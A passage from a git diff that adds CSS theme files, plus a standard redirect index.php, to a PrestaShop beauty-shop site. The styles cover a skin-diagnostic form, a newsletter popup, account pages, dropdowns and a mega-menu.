.etape0 .description a.button{ + font-size: 14px; + line-height: 34px; + text-transform: uppercase; + background-position: right center; + font-family: Times New Roman; + display: inline-block; + float: none; + margin-top: 35px; + } + +.diagnosticMiniStep { + text-align: center; + margin: 0 0 20px; +} + .diagnosticMiniStep li { + display: inline; + } + +ul.diagnosticSteps{ + text-align: center; +} + ul.diagnosticSteps li{ + display: inline-block; + background-color: #EEE; + line-height: 41px; + font-size: 14px; + text-transform: uppercase; + padding: 0 10px 0 20px; + position: relative; + margin-left: -3px; + } + ul.diagnosticSteps li:before{ + content: ""; + border: 15px solid rgba(0, 0, 0, 0); + border-top: 21px solid rgba(0, 0, 0, 0); + border-bottom: 21px solid rgba(0, 0, 0, 0); + border-right: 21px solid rgba(0, 0, 0, 0); + border-left-color: #EEE; + position: absolute; + top: 0; + right: -35px; + z-index: 2; + } + ul.diagnosticSteps li:after{ + position: absolute; + content: ""; + border: 15px solid rgba(0, 0, 0, 0); + border-bottom: 21px solid rgba(0, 0, 0, 0); + border-top: 21px solid rgba(0, 0, 0, 0); + border-right: 21px solid rgba(0, 0, 0, 0); + border-left-color: #fff; + top: 0; + right: -37px; + z-index: 1; + + } + + ul.diagnosticSteps li.selected{ + background-color:#B9DA1A ; + } + ul.diagnosticSteps li.selected:before{ + border-left-color: #B9DA1A; + } + ul.diagnosticSteps li:last-child:after, + ul.diagnosticSteps li:last-child:before{ + display: none; + } + ul.diagnosticSteps li a{ + font-family: Times New Roman; + display: block; + text-decoration: none; + font-size: 13px; + } + +form.diag{ + width: 80%; + margin:40px auto; +} + form.diag p.titre { + padding: 0 0 20px 24px; + background: url('../img/diagFleche.png') no-repeat 0 0; + font-size: 16px; + font-weight: bold; + line-height: 20px; + } + form.diag p.submit input, + form.diag p.submit a.button.back{ + float: right; + font-size: 13px; + font-family: Times New Roman; + } + form.diag p.submit a.button.back{ + box-sizing: border-box; + height: 36px; + line-height: 36px; + + } + form.diag p.erreur, + form.diag p.erreur label { + color: #F00; + } + + form.diag p.radio label{ + margin: 0 15px 0 10px; + cursor: pointer; + } + form.diag p.radio label.label-profil{ + display: inline-block; + width: 340px; + margin-bottom: 5px; + } + + .question-slider{ + width: 350px; + height: 270px; + margin-right: 50px; + float: left; + } + .question-after-slider{ + float: left; + width: calc(100% - 400px); + } + .question-after-slider-1{ + margin-top: 100px; + } +/* css herité de l'ancien diagnostic */ +.ui-slider { + position: relative; + text-align: left; +} +.ui-slider .ui-slider-handle { + position: absolute; + z-index: 2; + width: 1.2em; + height: 1.2em; + cursor: default; +} +.ui-slider .ui-slider-range { + position: absolute; + z-index: 1; + font-size: .7em; + display: block; + border: 0; + background-position: 0 0; +} + +/* For IE8 - See #6727 */ +.ui-slider.ui-state-disabled .ui-slider-handle, +.ui-slider.ui-state-disabled .ui-slider-range { + filter: inherit; +} + +.ui-slider-horizontal { + height: .8em; +} +.ui-slider-horizontal .ui-slider-handle { + top: -.3em; + margin-left: -.6em; +} +.ui-slider-horizontal .ui-slider-range { + top: 0; + height: 100%; +} +.ui-slider-horizontal .ui-slider-range-min { + left: 0; +} +.ui-slider-horizontal .ui-slider-range-max { + right: 0; +} + +.ui-slider-vertical { + width: .8em; + height: 100px; +} +.ui-slider-vertical .ui-slider-handle { + left: -.3em; + margin-left: 0; + margin-bottom: -.6em; +} +.ui-slider-vertical .ui-slider-range { + left: 0; + width: 100%; +} +.ui-slider-vertical .ui-slider-range-min { + bottom: 0; +} +.ui-slider-vertical .ui-slider-range-max { + top: 0; +} + + +/* Component containers +----------------------------------*/ +.ui-widget { + font-family: Verdana,Arial,sans-serif; + font-size: 1.1em; +} +.ui-widget .ui-widget { + font-size: 1em; +} +.ui-widget input, +.ui-widget select, +.ui-widget textarea, +.ui-widget button { + font-family: Verdana,Arial,sans-serif; + font-size: 1em; +} +.ui-widget-content { + border: 1px solid #aaaaaa; + background: #ffffff url(images/ui-bg_flat_75_ffffff_40x100.png) 50% 50% repeat-x; + color: #222222; +} +.ui-widget-content a { + color: #222222; +} + +#slider { + height: 0 !important; + margin-bottom: 20px; +} + +.ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { + background: url(http://garancia-beauty.com/upload/diagCurseur.png); + top: -12px; + border: 0; + width: 22px; + height: 22px; +} + +.sprite { + position:absolute; + width: 328px; + height: 151px; + background: transparent url(http://garancia-beauty.com/upload/sprite.jpg) 0 0px repeat-x; + background-position: 0 -151px; +} +/* end css herité de l'ancien diagnostic */ + +body form .check .check-optin { + position: relative; + margin-right: 3px; + top: 1px; + float: right; +} +body form .check span { + font-size: 14px; + float: right; + position: relative; +} +/************** ticket bug #9143 **********************/ +#gallery #sliderHome .rubrique:first-child { + z-index: 1000; + position: absolute; +} +/******************* ticket #9486 *************************/ +#order .promoAlert { color: #999999; font-size: 8.5px; margin-bottom: 10px; } +form input.inputText146 { margin-bottom: 0; } + + + +/************* ticket #9603 ********************************/ +.flex-control-paging li a.flex-active { + background-color: rgb(128, 128, 128); +} +.flex-control-paging li a { + background: rgba(0, 0, 0, 0.2); +} +.flex-direction-nav { + display: none; +} + + +.blockpopupnewsletter *, +.blockpopupnewsletter *:before, +.blockpopupnewsletter:after , +.blockpopupnewsletter, +.blockpopupnewsletter:before, +.blockpopupnewsletter:after { + box-sizing: border-box; +} + +.blockpopupnewsletter { display: none;} +#fancybox-wrap .blockpopupnewsletter { + display: block; + background: url('../../../modules/blockpopupnewsletter/images/blockpopupnewsletter.png') no-repeat center center; + width: 600px; + height: 440px; + padding: 25px 109px 20px; + position: relative; + -moz-box-shadow: 0px 0px 1000px 50px #FFFFFF; + -webkit-box-shadow: 0px 0px 1000px 50px #FFFFFF; + -o-box-shadow: 0px 0px 1000px 50px #FFFFFF; + box-shadow: 0px 0px 1000px 50px #FFFFFF; + filter:progid:DXImageTransform.Microsoft.Shadow(color=#FFFFFF, Direction=NaN, Strength=1000); + text-align: center; + overflow: hidden; +} + +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text h2{ + color: #00000f; + font-family: "Times New Roman"; + font-size: 32px; + text-transform: uppercase; + font-weight: normal; + margin: 0 0 20px; + padding: 0 0 8px; + line-height: 40px; +} +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text p, +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text ul li{ + color: #00000f; + font-size: 15px; +} +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text p{ + padding : 0 0 17px; +} +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text ul { + text-align : left; + margin: 0 0 18px; +} +#fancybox-wrap .blockpopupnewsletter .blockpopupnewsletter-text ul li{ + background: url('../../../modules/blockpopupnewsletter/images/puce.png') no-repeat 12px center; + display: block; + border: 0; + height: inherit; + margin: 0 0 12px; + padding: 2px 0 2px 36px; +} + +#fancybox-wrap .blockpopupnewsletter form{ + margin : 0 0 17px; +} +#fancybox-wrap .blockpopupnewsletter form input { + display: inline-block; + padding: 0 20px; + border: 1px solid black; + background: white; + color: #a5a5a5; + font-size: 16px; + width: 265px; + height: 40px; +} +#fancybox-wrap .blockpopupnewsletter form button { + display: inline-block; + background: #b9da1a; + border: none; + border-radius: 0; + padding: 0 20px; + font-weight: normal; + text-transform: none; + font-size: 15px; + height: 40px; + width: 265px; + text-align: left; + margin-top: 10px; +} +#fancybox-wrap .blockpopupnewsletter form button img { + float: right; + margin-top: 4px; +} + +#fancybox-wrap .blockpopupnewsletter-footer{ + color: #00000f; + font-size: 11px; + line-height: 18px; + padding: 0 32px; +} diff --git a/themes/default/css/grid_prestashop.css b/themes/default/css/grid_prestashop.css new file mode 100755 index 0000000..a1a2af8 --- /dev/null +++ b/themes/default/css/grid_prestashop.css @@ -0,0 +1,138 @@ +/* + Variable Grid System. + Learn more ~ http://www.spry-soft.com/grids/ + Based on 960 Grid System - http://960.gs/ + + Licensed under GPL and MIT. +*/ + +/* Containers +----------------------------------------------------------------------------------------------------*/ +.container_9 { + margin:0 auto; + width: 998px; +} + + +/* Grid >> Global +----------------------------------------------------------------------------------------------------*/ +.grid_1, +.grid_2, +.grid_3, +.grid_4, +.grid_5, +.grid_6, +.grid_7, +.grid_8, +.grid_9 { + display:inline; + float: left; + position: relative; + margin-right: 20px; +} + + +/* Grid >> Children (Alpha ~ First, Omega ~ Last) +----------------------------------------------------------------------------------------------------*/ +.alpha {margin-left: 0;} +.omega {margin-right: 0;} + + +/* Grid >> 9 Columns +----------------------------------------------------------------------------------------------------*/ +.container_9 .grid_1 {width:91px;} +.container_9 .grid_2 {width:202px;} +.container_9 .grid_3 {width:313px;} +.container_9 .grid_4 {width:424px;} +.container_9 .grid_5 {width:535px;} +.container_9 .grid_6 {width:646px;} +.container_9 .grid_7 {width:757px;} +.container_9 .grid_8 {width:868px;} +.container_9 .grid_9 {width:998px;} + + +/* Prefix Extra Space >> 9 Columns +----------------------------------------------------------------------------------------------------*/ +.container_9 .prefix_1 {padding-left:111px;} +.container_9 .prefix_2 {padding-left:222px;} +.container_9 .prefix_3 {padding-left:333px;} +.container_9 .prefix_4 {padding-left:444px;} +.container_9 .prefix_5 {padding-left:555px;} +.container_9 .prefix_6 {padding-left:666px;} +.container_9 .prefix_7 {padding-left:777px;} +.container_9 .prefix_8 {padding-left:888px;} + + +/* Suffix Extra Space >> 9 Columns +----------------------------------------------------------------------------------------------------*/ +.container_9 .suffix_1 {padding-right:111px;} +.container_9 .suffix_2 {padding-right:222px;} +.container_9 .suffix_3 {padding-right:333px;} +.container_9 .suffix_4 {padding-right:444px;} +.container_9 .suffix_5 {padding-right:555px;} +.container_9 .suffix_6 {padding-right:666px;} +.container_9 .suffix_7 {padding-right:777px;} +.container_9 .suffix_8 {padding-right:888px;} + + +/* Push Space >> 9 Columns +----------------------------------------------------------------------------------------------------*/ +.container_9 .push_1 {left:111px;} +.container_9 .push_2 {left:222px;} +.container_9 .push_3 {left:333px;} +.container_9 .push_4 {left:444px;} +.container_9 .push_5 {left:555px;} +.container_9 .push_6 {left:666px;} +.container_9 .push_7 {left:777px;} +.container_9 .push_8 {left:888px;} + + +/* Pull Space >> 9 Columns +----------------------------------------------------------------------------------------------------*/ +.container_9 .pull_1 {left:-111px;} +.container_9 .pull_2 {left:-222px;} +.container_9 .pull_3 {left:-333px;} +.container_9 .pull_4 {left:-444px;} +.container_9 .pull_5 {left:-555px;} +.container_9 .pull_6 {left:-666px;} +.container_9 .pull_7 {left:-777px;} +.container_9 .pull_8 {left:-888px;} + + +/* Clear Floated Elements +----------------------------------------------------------------------------------------------------*/ + +/* http://sonspring.com/journal/clearing-floats */ +.clear { + /*clear: both; + display: block; + overflow: hidden; + visibility: hidden; + width: 0; + height: 0;*/ +} + +/* http://perishablepress.com/press/2008/02/05/lessons-learned-concerning-the-clearfix-css-hack + +.clearfix:after { + clear: both; + content: ' '; + display: block; + font-size: 0; + line-height: 0; + visibility: hidden; + width: 0; + height: 0; +} + +.clearfix { display: inline-block; +} + +* html .clearfix { + height: 1%; +} + +.clearfix { + display: block; +} + */ \ No newline at end of file diff --git a/themes/default/css/history.css b/themes/default/css/history.css new file mode 100755 index 0000000..62ab425 --- /dev/null +++ b/themes/default/css/history.css @@ -0,0 +1,70 @@ +#history #left_column {display:none} +#history #center_column{} +#history #center_column h1{margin-top:20px} +#history #center_column .title_block { + margin:20px 0; + padding:15px 20px; + border:1px solid #dddddd; +} +#history #center_column .title_block input { + display:none; +} + +#returnOrderMessage .textarea textarea, +#sendOrderMessage .textarea textarea { + width:100%; + border:1px solid #999 +} + +.order_qte_input{display:none} +.adresses_bloc{ + clear:none; + float:left; + width:50%; + margin:0; +} +.adresses_bloc .address_title{ + background:#B9DA1A; + border:1px solid #9DBA16; + border-right:0; + border-bottom:0; + line-height: 16px; + color: #000000; + font-size: 12px; + font-weight: bold; + line-height: 16px; + padding: 12px 20px; + text-transform: uppercase; + text-align: left; +} +.adresses_bloc .address_title.alternate_item{ + border:1px solid #9DBA16; + border-left:0; +} +.adresses_bloc ul{ + padding:12px 20px; + border:1px solid #dddddd; + border-right:0; + margin:0 0 20px; +} +.adresses_bloc .address_title.alternate_item{ + border:1px solid #dddddd; + border-left:0; +} +.adresses_bloc ul li{ + padding:0; + line-height: 16px; + font-size: 12px; + color: #000000; +} + + + + + + + + + + + diff --git a/themes/default/css/identity.css b/themes/default/css/identity.css new file mode 100755 index 0000000..59a304a --- /dev/null +++ b/themes/default/css/identity.css @@ -0,0 +1,41 @@ +#identity #left_column {display:none} +#identity #center_column{} +#identity #center_column h1 {margin-bottom:20px;border-bottom:1px solid black;padding:10px 0 20px 0 ;} +#identity #center_column h2 {color:#8daa01;font-size:16px;font-weight:bold;font-family:Arial,Sans-serif;} +#identity h3 { + font-weight:normal; + font-size:13px; +} +#identity p { + padding-bottom:10px; +} +#identity form.std fieldset { +} +#identity form.std fieldset p.radio span, +#identity form.std fieldset p.text label{ + width:296px; + text-align:left; + float:left; +} +#identity form.std fieldset p.password input, +#identity form.std fieldset p.text input{ + margin:4px 0 10px; +} + + +form.std p.text{ + color: #999999; + font-size: 13px; + line-height: 42px; + text-align: left; +} +#identity form.std fieldset p.bold{ + font-weight:bold; +} +#identity form.std fieldset p.checkbox{ + padding:0 0 10px; + font-size:13px; +} +form.std p.submit{ + padding:10px 0 30px; +} \ No newline at end of file diff --git a/themes/default/css/index.php b/themes/default/css/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/css/jquery.custom-scrollbar.css b/themes/default/css/jquery.custom-scrollbar.css new file mode 100755 index 0000000..7bb7e73 --- /dev/null +++ b/themes/default/css/jquery.custom-scrollbar.css @@ -0,0 +1,29 @@ +.scr_track { + background: #e6e6e6; +} +.scr_trackH { + height: 7px; +} +.scr_trackV { + width:7px; +} + +.scr_drag { + background: #000000; + width:7px; +} +.scr_trackH .scr_drag { + height: 7px; +} +.scr_trackV .scr_drag { + width:7px; + /*height:125px!important;*/ +} + +.scr_hover { + background: #000000; +} +.scr_moving { + background: #000000; +} + \ No newline at end of file diff --git a/themes/default/css/jquery.selectBox.css b/themes/default/css/jquery.selectBox.css new file mode 100755 index 0000000..bb423e5 --- /dev/null +++ b/themes/default/css/jquery.selectBox.css @@ -0,0 +1,243 @@ +/* Dropdown control */ +.selectBox-dropdown { +width: 380px; +position: relative; +border:0; +padding:3px 15px 0; +height: 30px; +line-height: 30px; +text-decoration: none; +text-align: left; +outline: none; +vertical-align: middle; +margin:0; +background:url('../img/inputSelect.jpg') no-repeat right 0; +} + +.selectBox-dropdown.selectBox380{ + padding:3px 5px 0; + line-height:20px; + margin-bottom:3px; + height:33px; + width:370px; + font-size:12px; + background:url('../img/selectBox380.png') no-repeat right 0; +} +.selectBox-dropdown.selectBox380 .selectBox-label{ + width:343px; + padding:0; + line-height:33px; + overflow:hidden; + font-size:12px; +} +.selectBox-dropdown.selectBox210{ + padding:3px 5px 0; + line-height:20px; + height:20px; + width:200px; + font-size:12px; + background:url('../img/selectBox210.png') no-repeat right 0; +} +.selectBox-dropdown.selectBox210 .selectBox-label{ + width:174px; + padding:0; + line-height:17px; + overflow:hidden; + font-size:12px; +} +.selectBox-dropdown.selectBox287{ + padding:3px 5px; + width:277px; + background:url('../img/selectBox287.png') no-repeat right 0; +} +.selectBox-dropdown.selectBox287 .selectBox-label{ + width:130px; + overflow:hidden; +} +.selectBox-dropdown.selectBox168{ + padding:3px 5px; + width:159px; + background:url('../img/selectBox168.png') no-repeat right 0; +} +.selectBox-dropdown.selectBox168 .selectBox-label{ + width:130px; + overflow:hidden; +} +.selectBox-dropdown.select308{ + padding:3px 5px; + width:500px; + background:url('../img/inputSelect308.jpg') no-repeat right 0; +} +.selectBox-dropdown.selectBox81{ + padding:3px 5px 0; + width:71px; + margin-right:0; + background:url('../img/selectBox81.png') no-repeat right 0; +} +.selectBox-dropdown.selectBox81 .selectBox-label{width: 43px;padding:0;} +.selectBox-dropdown.selectBox92{ + padding:3px 5px 0; + width:82px; + margin-right:6px; + background:url('../img/selectBox92.png') no-repeat right 0; +} +.selectBox-dropdown.selectBox92 .selectBox-label{width: 54px;padding:0;} +.selectBox-dropdown.selectBox137{ + width:127px; + padding:3px 5px 0; + float:right; + background:url('../img/selectBox137.png') no-repeat right 0; +} +.selectBox-dropdown.selectBox137 .selectBox-label{width: 99px;padding:0;} + +.selectBox-dropdown:focus, +.selectBox-dropdown:focus .selectBox-arrow { +border-color: #414141; +} + +.selectBox-dropdown.selectBox-menuShowing { +-moz-border-radius-bottomleft: 0; +-moz-border-radius-bottomright: 0; +-webkit-border-bottom-left-radius: 0; +-webkit-border-bottom-right-radius: 0; +border-bottom-left-radius: 0; +border-bottom-right-radius: 0; +} + +.selectBox-dropdown .selectBox-label { +padding: 2px 0px 2px 0px; +display: inline-block; +white-space: nowrap; +overflow: hidden; +line-height:30px; +font-size:13px; +color:#000000; +background:none; +font-family:Georgia,Sans-Serif; +} + +.selectBox-dropdown .selectBox-arrow { +position: absolute; +top: 0; +right: 0; +width: 30px; +height: 30px; +border:0; +cursor:pointer; +} + + +/* Dropdown menu */ +.selectBox-dropdown-menu { +position: absolute; +z-index: 99999; +max-height: 200px; +min-height: 1em; +color:#D6C4B0; +/* +border: solid 1px #414141; +border-top:1px solid #DADADA; +background: #FFF; +-moz-box-shadow: 0 2px 6px rgba(0, 0, 0, .2); +-webkit-box-shadow: 0 2px 6px rgba(0, 0, 0, .2); +box-shadow: 0 2px 6px rgba(0, 0, 0, .2); +*/ +overflow: auto; +} + + +/* Inline control */ +.selectBox-inline { +min-width: 150px; +outline: none; +border: solid 1px #BBB; +background: #FFF; +display: inline-block; +-webkit-border-radius: 4px; +-moz-border-radius: 4px; +border-radius: 4px; +overflow: auto; +} + +.selectBox-inline:focus { +border-color: #666; +} + + +/* Options */ +.selectBox-options, +.selectBox-options LI, +.selectBox-options LI A { +list-style: none; +display: block; +cursor: default; +padding: 0; +margin: 0; +font-size:14px; +} + +.selectBox-options LI A { +padding: 0 10px; +white-space: nowrap; +overflow: hidden; +text-align: left; +text-decoration: none; +color: #000000; +font-family:Georgia,Sans-Serif; +line-height:20px; +border:1px solid #e2e2e2; +border-top:0; +border-bottom:0; +background:white; +} +.selectBox-options LI:last-child A { +border-bottom:1px solid #e2e2e2; +} + +.selectBox-options LI.selectBox-hover A { +cursor:pointer; +background:#323232; +color: #ffffff; +} + +.selectBox-options LI.selectBox-disabled A { +color: #888; +background-color: transparent; +} + +.selectBox-options LI.selectBox-selected A { +cursor:pointer; +background:#323232; +color: #ffffff; +} + +.selectBox-options .selectBox-optgroup { +color: #000000; +background: #B9DA1A; +font-weight: normal; +line-height: 1.5; +padding: 0 .3em; +white-space: nowrap; + font-family: Georgia,Sans-Serif; + font-size:14px; +} + + +/* Disabled state */ +.selectBox.selectBox-disabled { +color: #888 !important; +} + +.selectBox-dropdown.selectBox-disabled .selectBox-arrow { +opacity: .5; +filter: alpha(opacity=50); +border-color: #666; +} + +.selectBox-inline.selectBox-disabled { +color: #888 !important; +} + +.selectBox-inline.selectBox-disabled .selectBox-options A { +background-color: transparent !important; +} \ No newline at end of file diff --git a/themes/default/css/livredor.css b/themes/default/css/livredor.css new file mode 100755 index 0000000..cc91f27 --- /dev/null +++ b/themes/default/css/livredor.css @@ -0,0 +1,52 @@ +#page .borderGreen{ + width:auto; + float:none; +} +#page .tiroir{ + margin:0 0 10px; + padding:0; + border-bottom:1px solid #d9d9d9; +} +#page .tiroir h3{ + border-bottom:0; + margin:0; +} + +#page .tiroir h4{ + border:0; + line-height:30px; + height:30px; + padding:0 26px; + margin:0 0 10px; + cursor:pointer; +} +#page .tiroir2 h4 span{ + cursor:pointer; + display:block; + color:#92af06; + line-height:30px; + height:30px; + font-size:16px; + font-weight:bold; + padding:0 12px 0 36px; + display:block; + font-family:Times New Roman; + text-align:left; + background:url('../img/moreless.png') no-repeat 8px -76px; +} +#page .tiroir2.open h4 span{ + background:url('../img/moreless.png') no-repeat 9px 13px; +} +#page .tiroir div.texte{ + padding:10px; + color:#000000; + font-size:12px; + border:1px solid #d9d9d9; + border-top:0; + border-bottom:0; +} +#page .tiroir div.texte2{ + padding:0 34px 10px 34px; + color:#000000; + font-size:12px; +} \ No newline at end of file diff --git a/themes/default/css/maintenance.css b/themes/default/css/maintenance.css new file mode 100755 index 0000000..ce17798 --- /dev/null +++ b/themes/default/css/maintenance.css @@ -0,0 +1,12 @@ +#maintenance { + margin:0 auto; + width:940px; + font:normal 30px Arial, Verdana, sans-serif; + color:#333; +} +#maintenance #message { + margin:0 20px; + padding:50px 310px 0 0; + height:360px; + background:url(../img/bg_maintenance.png) no-repeat 100% 0 #fff +} \ No newline at end of file diff --git a/themes/default/css/modules/advmenu/menuStyle.css b/themes/default/css/modules/advmenu/menuStyle.css new file mode 100644 index 0000000..a628891 --- /dev/null +++ b/themes/default/css/modules/advmenu/menuStyle.css @@ -0,0 +1,255 @@ +/*****************************************************************************************/ +/************************************* ADV MENU ******************************************/ +/*****************************************************************************************/ +#header #mainmenu *{ + box-sizing: border-box; +} +#header #mainmenu .menu-content > li > a { color: #FFF; } +.inner .column{ + box-sizing: border-box; +} +/* Sous-menu LG-MD */ +#header #menu-mobile{ + display: none; +} +#mainmenu .close-tab{ + display: none !important; +} +#header #mainmenu { + color: #FFF; + /* padding-bottom: 20px; */ +} +#header .menu { + padding-top: 15px; + text-align: center; + position: relative; + z-index: 10; +} + +#header #mainmenu .menu-content > li { + display: inline-block; + vertical-align: middle; + padding-bottom: 0px; + font-weight: 200; + text-align: center; + padding-bottom: 14px; +} +#header #mainmenu .menu-content > li > a, #header #mainmenu .menu-content > li > span { + display: block; + font-size: 11.5px; + padding: 0px 0px; + position: relative; + text-decoration: none; + text-transform: uppercase; + z-index: 11; + box-sizing: border-box; +} +#header #mainmenu .menu-content > li:not(:last-child) { + +} + +#header #mainmenu .menu-content > li:hover > a span { border-bottom: 3px solid #333 } +#header #mainmenu .menu-content > li:last-child > a span { border: 0 } +#header #mainmenu .menu-content > li:hover > a, #header #mainmenu .menu-content > li:hover > span {text-decoration: none;position: relative;} + + +#header #mainmenu .menu-content > li .submenu { + font-size: 14px; + left: 0; + position: absolute; + right: 0; + top: 43px; + z-index: 11; +} +#header #mainmenu .menu-content > li .submenu .inner { + max-height: 0; + transition: all 0.5s ease 0s; + -webkit-transition: all 0.5s ease 0s; + -moz-transition: all 0.5s ease 0s; + overflow: hidden; +} +#header #mainmenu .menu-content > li:hover .submenu .inner { + background-color: #f3f3f3; + /* border-top: 1px solid #000; */ +} +#header #mainmenu .menu-content > li .submenu .inner > div { + + position: relative; + top: 1px; + padding: 25px; +} +#header #mainmenu .menu-content > li:hover .submenu{ + /*max-height: 310px;*/ + max-height: auto; + transition: all 0.3s ease 0.2s; + -webkit-transition: all 0.3s ease 0.2s; + -moz-transition: all 0.3s ease 0.2s; + z-index: 12; + top: 43px; +} +#header #mainmenu .menu-content > li .submenu .inner { + position: relative; + box-shadow: 0px 3px 2px rgba(0,0,0,0.1); +} +#header #mainmenu .menu-content > li .submenu .inner .padded { padding-bottom: 30px } +#header #mainmenu .menu-content > li .submenu > .inner > .ctn > .row { + position: relative +} +#header #mainmenu .menu-content > li:hover .submenu .inner { max-height: 690px } +#header #mainmenu .menu-content > li .submenu .menu-subtitle { + font-family: Times New Roman; + font-size: 19px; + line-height: 19px; + padding: 0 0 15px; + text-align: left; + color: #000; +} +#header #mainmenu .menu-content > li .submenu ul{ + margin-top: 20px +} +#header #mainmenu .menu-content > li .submenu li:first-child .menu-subtitle { + margin-top: 0; +} +#header #mainmenu .menu-content > li .submenu .overflow { + overflow: hidden; +} +#header #mainmenu .menu-content > li .submenu .links { + + overflow: hidden; + + position: relative; + + z-index: 2; + + display: flex; + + -webkit-display: flex; + + -moz-display: flex; + + flex-flow: row wrap; + + -webkit-flex-flow: row wrap; + + -moz-flex-flow: row wrap; + + padding-bottom: 20px; + +} +#header #mainmenu .menu-content > li .submenu .links > .row { + width: 100%; +} +#header #mainmenu .menu-content > li .submenu .column { + padding: 0 0 0 30px; + text-align: left; + border-right-width: 1px; + border-right-style: solid; + border-right-color: rgb(228, 228, 228); +} +#header #mainmenu .menu-content > li .submenu .column:last-child{ + border-right-width: 0px; +} +#header #mainmenu .menu-content > li .submenu .column > ul > li:first-child > * { margin-top: 0 } +#header #mainmenu .menu-content > li ul li { + float: none!important; + display: block!important; + text-align: left; + height: auto; + line-height: 16px; + padding: 2px 0; +} +#header #mainmenu .menu-content > li ul li a { + padding: 0 0 0 10px!important; + white-space: normal; + float: none!important; + display: block!important; + text-align: left; + height: auto; + line-height: 16px; + color: #000000; + font-size: 12px; + background: url('../../../img/categoriesFleche.png') no-repeat 0 2px; +} +#header #mainmenu .menu-content > li ul li a:hover { + color: #90ae00; +} +#header #mainmenu .menu-content > li ul li:first-child a { + padding-top: 0; +} +#header #mainmenu .menu-content > li ul li:hover a { text-decoration: none; cursor: pointer; } +#header #mainmenu .menu-content > li ul li a i { + color: #fff; + font-size: 15px; + font-weight: normal; + height: 14px; + line-height: 14px; + margin-top: -6px; + position: absolute; + right: 0px; + text-align: center; + top: 50%; + width: 14px; +} +#header #mainmenu .menu-content > li ul li:hover a i { color: #e44e58; right: 10px; } +#header #mainmenu .menu-content > li ul li a i:before { display: inline } + +#header #mainmenu .menu-content > li .see-more a { + color: #fff; + font-size: 22px; + border: 0; + background-color: #000; +} +#header #mainmenu .menu-content > li .see-more a:hover { background-color: #ed1b24; text-decoration: none; } + +#header #mainmenu .titleSubMenu { color: #c3a572; display: block; margin-bottom: 7px; } +#header #mainmenu .menu-content > li .submenu .cta-menu { + padding: 0; + z-index: 1; +} +#header #mainmenu .menu-content > li .submenu .cta-menu img { + display: block; + margin-top: 30px; + max-width: 100%; +} +#header #mainmenu .menu-content > li .submenu .cta-menu img:first-child { margin-top: 0 } +#header #mainmenu .menu-content > li:nth-child(2) > a, #header #mainmenu .menu-content > li > span:nth-child(2) { + margin-left: 0; +} +#header #mainmenu .menu-content > li:last-child > a, #header #mainmenu .menu-content > li > span:last-child { + margin-right: 0; +} + +@media (min-width: 1400px) { + #header #mainmenu .menu-content > li > a, #header #mainmenu .menu-content > li > span {margin-right: 9.5px;margin-left: 8.5px;font-size: 12px;} +} + +@media (max-width: 1400px) { + #header #mainmenu .menu-content > li > a, #header #mainmenu .menu-content > li > span {margin-left: 8px;margin-right: 8px;} +} + +@media (max-width: 1200px) { + #header #mainmenu .menu-content > li > a, #header #mainmenu .menu-content > li > span {margin-left: 8px;margin-right: 8px;line-height: 13px;font-size: 12px;box-sizing: border-box;} + #header #mainmenu .menu-content > li .submenu { top: 43px; } + #header #mainmenu .menu-content > li:hover .submenu {top: 43px;} +} + +@media (max-width: 990px) { + #blockpopupnewsletter_bis{ + display: none; + } + + #header #mainmenu .menu-content > li .submenu {display: none;} + #header #mainmenu .menu-content > li:nth-child(2), #header #mainmenu .menu-content > li:nth-child(8){ display: none; } + #header .menu .ctn { position: relative; } + #header #mainmenu ul { + float: left; + padding: 0; + text-align: center; + width: 100%; + } + #header #mainmenu .menu-content > li { + width: calc(100%/7); + padding-bottom: 0; + } + +} \ No newline at end of file diff --git a/themes/default/css/modules/advmenu/strapivarious.css b/themes/default/css/modules/advmenu/strapivarious.css new file mode 100644 index 0000000..afab9c1 --- /dev/null +++ b/themes/default/css/modules/advmenu/strapivarious.css @@ -0,0 +1,1093 @@ +.col-xxs-1, .col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, +.col-xxs-2, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, +.col-xxs-3, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, +.col-xxs-4, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, +.col-xxs-5, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, +.col-xxs-6, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, +.col-xxs-7, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, +.col-xxs-8, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, +.col-xxs-9, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, +.col-xxs-10, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, +.col-xxs-11, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, +.col-xxs-12, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12, +.xxs1, .xs1, .sm1, .md1, .lg1, +.xxs2, .xs2, .sm2, .md2, .lg2, +.xxs3, .xs3, .sm3, .md3, .lg3, +.xxs4, .xs4, .sm4, .md4, .lg4, +.xxs5, .xs5, .sm5, .md5, .lg5, +.xxs6, .xs6, .sm6, .md6, .lg6, +.xxs7, .xs7, .sm7, .md7, .lg7, +.xxs8, .xs8, .sm8, .md8, .lg8, +.xxs9, .xs9, .sm9, .md9, .lg9, +.xxs10, .xs10, .sm10, .md10, .lg10, +.xxs11, .xs11, .sm11, .md11, .lg11, +.xxs12, .xs12, .sm12, .md12, .lg12 { + position: relative; + min-height: 1px; + padding-left: 15px; + padding-right: 15px; +} + +.col-xxs-1, .col-xxs-2, .col-xxs-3, .col-xxs-4, .col-xxs-5, 